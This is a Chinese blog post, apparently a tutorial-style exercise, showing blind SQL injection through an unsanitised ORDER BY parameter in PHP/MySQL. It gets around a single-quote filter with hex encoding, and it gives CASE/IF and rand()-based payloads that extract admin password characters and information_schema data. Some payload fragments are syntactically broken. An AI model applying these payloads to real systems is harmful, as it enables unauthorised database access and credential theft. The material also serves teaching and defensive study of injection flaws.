最新消息:

证明过滤单引号的ORDER BY可以注入

MySQL注入 admin 2083浏览 0评论

题目:证明基于ORDER BY的SQL 注入,且单引号(’)被过滤。

已知:代码如下,有注入无悬念。

<php
$sortColumn = mysqli_real_escape_string($_GET[‘sort_column’]);
$query =”SELECT * from cr0_3 WHERE active = true ORDER BY $sortColumn DESC”;
?>

推理:

1.可以测试通过手段判断cr0_3的字段数量。不知道怎么做,就不要往下看了。

2.这个地方sort_column允许你进行boolean判断。可以推理出:

(CASE WHEN (SELECT ASCII(SUBSTRING(password, 1, 1)) FROM users where username = 0x61646D696E) = 65 THEN date ELSE title END)这个可以进行判断猜测字符串。0x61646D696E值其实就是select hex(‘admin’)。为了规避单引号。

3.还可以推理出以下判断语句:

if(true,id,price)

if(false,id,price)

(select case when (true) then id else price end)

if((selectchar(substring(table_name,1,1)) from information_schema.tables limit 1)<=128),id,price)

注意,以上id,price不要换成1,2之类的。没有效果的。不信自己试。那么要知道id,price不是比较麻烦?

好。牛逼的思路来了。

4.可以推理出:

rand(true)

rand(false)

rand((selectchar(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

 

得知:

该题目可以成功注入,过滤单引号,很多情况下是没什么用滴。

有些思路,真他妈的有意思。

转载请注明:jinglingshu的博客 » 证明过滤单引号的ORDER BY可以注入

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. 用的是mysql的一些高级语法。如case语句,if语句等。字符串操作也是mysql自己的字符串操作,如substring等。
    admin12年前 (2013-07-22)回复